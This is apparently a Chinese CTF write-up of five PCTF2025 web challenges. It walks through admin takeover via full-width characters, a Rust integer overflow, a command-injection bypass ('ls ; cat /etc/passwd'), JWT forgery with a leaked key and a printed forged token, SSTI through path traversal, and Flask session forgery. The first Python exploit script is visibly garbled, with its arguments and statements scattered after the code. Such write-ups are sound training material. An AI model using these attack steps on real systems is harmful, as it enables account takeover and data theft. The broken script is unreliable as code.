跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书AI学习GitHub 精选镜像AI 生图工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
Python大前端算法

PCTF2025 Web 赛题解析(后半部分)

整理 PCTF2025 Web 赛题后半部分解题思路。涉及神秘商店(全角字符绕过注册与 Rust 整数溢出)、We_will_rockyou(JWT 密钥随机性与密码覆盖爆破)、Jwt_password_manager(JWT 密钥泄露伪造)、ez_upload(模板注入 SSTI)及 Do_you_know_session(搜索框 SSTI 与 Session 伪造)。通过源码审计、漏洞利用脚本及工具分析,展示从信息收集到获取 Flag 的完整流程。

NodeJser发布于 2026/4/6更新于 2026/9/891 浏览
PCTF2025 Web 赛题解析(后半部分)

神秘商店

打开题目只有一个登录框。

文章配图

尝试登录 admin,利用全角字符注册登录。后端代码有转换,全角能够绕过后端对 admin 的检测,把全角 admin 识别成正常的 admin,造成覆盖注册,修改 admin 密码。

注册 admin,其中 n 为全角。

文章配图

利用整数溢出从 4294967246 到 50,购买 flag。可以直接脚本登录。

import requests

def exploit():
    url = "http://challenge2.pctf.top:32735"
    session = requests.Session()
    print("[+] 注册管理员账户...")
    users = {
        "username": "admi\u00efn",
        "password": "123456"
    }
    response = session.post(f"{url}/register", data=users)
    print(f"[+] 注册响应:{response.status_code}")
    print("[+] 登录...")
    users = {
        "username": "admi\u00efn",
        "password": "123456"
    }
    response = session.post(f"{url}/login", data=users)
    print(f"[+] 登录响应:{response.status_code}")
    response = session.get(f"{url}/user")
    print(f"[+] 用户信息:{response.text}")
    ()
    amount = {: }
    response = session.post(, data=amount)
    ()
    ()
    product = {: }
    response = session.post(, json=product)
    ()

 __name__ == :
    exploit()
print
"[+] 触发 rust 整数溢出..."
"amount"
4294967246
f"{url}/add_balance"
print
f"[+] 增加余额:{response.text}"
print
"[+] 购买 Flag..."
"product_id"
4
f"{url}/buy_product"
print
f"[+] 购买结果:{response.text}"
if
'__main__'

文章配图

We_will_rockyou

下载源码,进行分析。

from flask import Flask, redirect, url_for, render_template, request
import jwt
import uuid
import os
import subprocess
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
app.config['SECRET_KEY'] = str(uuid.uuid4())
accounts = {}

def create_token(user_id, username):
    payload = {
        'user_id': user_id,
        'username': username
    }
    token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256')
    if isinstance(token, bytes):
        token = token.decode('utf-8')
    return token

def verify_token(token):
    try:
        payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
        user_id = payload['user_id']
        username = payload['username']
        return user_id, username
    except:
        return None

def login_required(f):
    from functools import wraps
    @wraps(f)
    def decorated(*args, **kwargs):
        token = request.cookies.get('token')
        if not token:
            return redirect(url_for('login'))
        res = verify_token(token)
        if not res:
            return redirect(url_for('login'))
        user_id, username = res
        return f(user_id, username, *args, **kwargs)
    return decorated

def check_login(u, p):
    for user_id, info in accounts.items():
        if info['username'] == u:
            return check_password_hash(info['password'], p), user_id
    return False, None

@app.route('/')
def index():
    return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    error_msg = None
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        ok, user_id = check_login(username, password)
        if ok:
            token = create_token(user_id, username)
            response = redirect(url_for('dashboard'))
            response.set_cookie('token', token, httponly=True)
            return response
        else:
            error_msg = "Username or Password incorrect!"
    return render_template('login.html', error_msg=error_msg)

@app.route('/logout')
def logout():
    response = redirect(url_for('login'))
    response.delete_cookie('token')
    return response

@app.route('/dashboard')
@login_required
def dashboard(user_id, username):
    return render_template('dashboard.html', user_id=user_id, username=username)

SAFE_COMMANDS = ['ls', 'pwd', 'whoami', 'dir', 'more']

@app.route('/dashboard/run', methods=['POST'])
@login_required
def run_command(user_id, username):
    user_id, username = verify_token(request.cookies.get('token'))
    cmd = request.form.get('command', '').strip()
    if not cmd or cmd.split()[0] not in SAFE_COMMANDS:
        return render_template('dashboard.html', user_id=user_id, username=username, error_msg="Error: Command not allowed or empty")
    try:
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
        output = result.stdout + result.stderr
        return render_template('dashboard.html', user_id=user_id, username=username, output=output, command=cmd)
    except Exception as e:
        return render_template('dashboard.html', username=username, error_msg=f"Error: {str(e)}")

if __name__ == '__main__':
    admin_id = 0
    admin_username = 'admin123'
    admin_password = str(uuid.uuid4())
    # 密码覆盖机制:尝试从系统文件读取密码
    for path in ['/password', './password.txt']:
        try:
            if os.path.exists(path) and os.path.isfile(path):
                with open(path, 'rb') as f:
                    raw = f.read()
                    if not raw:
                        continue
                    text = raw.decode('utf-8', errors='replace').strip()
                    candidates = [line.strip() for line in text.splitlines() if line.strip()]
                    if candidates:
                        import secrets
                        admin_password = secrets.choice(candidates)
                        break
        except:
            pass
    print(f' * Admin password: {admin_password}')
    accounts[admin_id] = {
        'username': admin_username,
        'password': generate_password_hash(admin_password)
    }
    app.run(debug=False, host='0.0.0.0')

基础配置与初始化

每次重启服务器时,SECRET_KEY 都会随机生成,这意味着服务器重启后所有旧 Token 都会失效。用户信息存储在字典中,服务器重启则数据清空。

认证逻辑 (JWT)

这部分负责用户登录状态的维持。使用 HS256 算法加密生成 JWT token。由于使用了随机 UUID 作为 KEY,安全性在运行时还可以,但无法持久化。

命令执行逻辑

检查机制只判断命令行的第一个单词是否在白名单内。风险点在于 shell=True。虽然开头是 ls,但可以利用 shell 拼接符。例如输入:"ls ; cat /etc/passwd",这里的白名单检查只看到了 "ls",符合要求,但 shell 会执行后面的 cat 命令。

启动逻辑与管理员密码初始化

默认随机生成一个 UUID 密码。密码覆盖机制:尝试从系统文件读取密码。如果能控制这两个文件之一,就能预设管理员密码。启动时会在控制台打印管理员密码(用于初次运行查看)。

admin 用户名不变一直为 admin123。jwt 密钥是随机生成的,但是审计发现 admin 密码虽然一开始是随机生成的,但是后面从一个 txt 文本中随机抽取并覆盖了 admin 密码,这里考察点应该是用字典中的密码爆破。

题目描述提示 Try rockyou.txt!,则使用 rockyou 字典爆破密码,用户名是 admin123。

文章配图

Jwt_password_manager

下载附件审计代码,发现泄露的 jwt 密钥,查看逻辑发现,他读取了 flag,flag 是 admin 的 password。

app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648'
admin_password = str(uuid.uuid4())
insert_account('admin', generate_password_hash(admin_password))
# flag in admin account ! ^-^ 
for path in ['/flag', './flag.txt']:
    try:
        if os.path.exists(path) and os.path.isfile(path):
            with open(path, 'rb') as f:
                raw = f.read()
                if raw:
                    content = raw.decode('utf-8', errors='replace').strip()
                    add_password_item('admin', website='seeded-flag', site_username='flag-file', password=content, notes=f'seeded from {path}')
                    break
    except:
        pass

那么我们就开始,先注册一个账号拿到普通的 token,然后去 jwt.io 解密 jwt 然后修改成 admin 然后伪造后得到 flag。

伪造后 admin 的 token 为 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImIzMGEwYzNhLTI5Y2YtNGQ0ZS04ZDJiLTcxZGIxOWJlYjc2MiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.PMpPt65DM7rU-z3gljV1f8z5h_DIXSmoDQnMu2vKgQo

然后修改为 admin 的 token,保存密码获取 flag。

文章配图

文章配图

文章配图

ez_upload

打开文件,上传任何文件都查看不了,尝试直接读取/etc/passwd 但是被过滤了,查看源码。

ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'doc', 'docx', 'zip', 'html'}
BLACKLIST_KEYWORDS = [
    'env', '.env', 'environment', 'profile', 'bashrc', 'proc', 'sys', 'etc', 'passwd', 'shadow', 'flag'
]
@app.route('/file')
def view_file():
    file_path = request.args.get('file', '')
    # 从 URL 参数 ?file= 获取路径
    if not file_path:
        # ... (逻辑省略)
    # [黑名单防御]
    file_path_lower = file_path.lower()
    for keyword in BLACKLIST_KEYWORDS:
        if keyword in file_path_lower:
            # 如果命中黑名单,渲染错误信息
            return render_template_string(template, error_message='...{}'.format(keyword))
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            # [高危] 直接打开用户指定的路径
            file_content = f.read()
            # [SSTI 漏洞]
            # file_content 是用户上传的文件内容
            # 如果用户上传一个包含 {{ 7*7 }} 的文件并在此查看,Flask 会执行其中的模板代码
            return render_template_string(template, file_path=file_path, file_content=file_content)
    except Exception as e:
        # ... (错误处理)

render_template_string 渲染了 html 页面内容,则可以实现覆盖 index.html 在里面实现 ssti 绕过上传限制....//templates/index.html

成功读取。

文章配图

文章配图

Do_you_know_session?

看到题目到处试了试 ssti,发现在搜索框中可以进行 ssti。

/search?context=

文章配图

但是有 waf,只能看到 config,刚好 secretkey 就存在这里,我们直接就可以获取到。

1919810#mistyovo@foxdog@lzz0403#114514

然后我们看到我们有 session,用 flask-session-cookie-manager。

文章配图

文章配图

读取 environ 得到 flag。

总结:Session 伪造

目录

  1. 神秘商店
  2. Wewillrockyou
  3. 基础配置与初始化
  4. 认证逻辑 (JWT)
  5. 命令执行逻辑
  6. 启动逻辑与管理员密码初始化
  7. Jwtpasswordmanager
  8. flag in admin account ! ^-^
  9. ez_upload
  10. Doyouknow_session?

更多推荐文章

查看全部
  • 本地搭建带知识库的 AI 助手:Ollama + Open WebUI
  • AI 辅助 Python 毕业设计:选题评估与原型构建
  • AIGC视频生成成本优化:20秒与30秒模型选型与价格对比
  • 具身智能发展瓶颈:AI 数据生成的解决方案与趋势
  • 2025 年 11 月 TIOBE 排行榜:C# 能否首次超越 Java?
  • LeetCode 383. 赎金信:哈希表与数组计数法对比
  • TCP 协议详解:报文格式、三次握手、滑动窗口与拥塞控制
  • 论文笔记:OmniVTLA 视觉 - 触觉 - 语言 - 行动模型与语义对齐触觉感知
  • Linux 进程地址空间解析:动静态库、信号及多线程
  • Linux 下 C++ 线程池实现与并发安全详解
  • FF 宣布 FX Super One 二季度交付,目标成美国头部 AI 机器人公司
  • 现代 C++ 新特性 constexpr:从 C++11 到 C++20 的演进
  • Java 对接拉卡拉支付完整指南
  • Rust 异步测试与调试实战指南
  • Pi0 机器人 VLA 大模型在昇腾 A2 平台上的测评
  • 大型语言模型 Prompt 工程的核心原则与最佳实践
  • ToDesk 顺网云 海马云部署 DeepSeek 大模型对比评测
  • 低代码平台分类与价值取向:业务开发者与专业开发者视角
  • 人工智能时代的产品经理:挑战、机遇与转型路径
  • Agent Skills Marketplace 完全指南:AI 编程助手技能开发与应用

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • Gemini 图片去水印

    基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online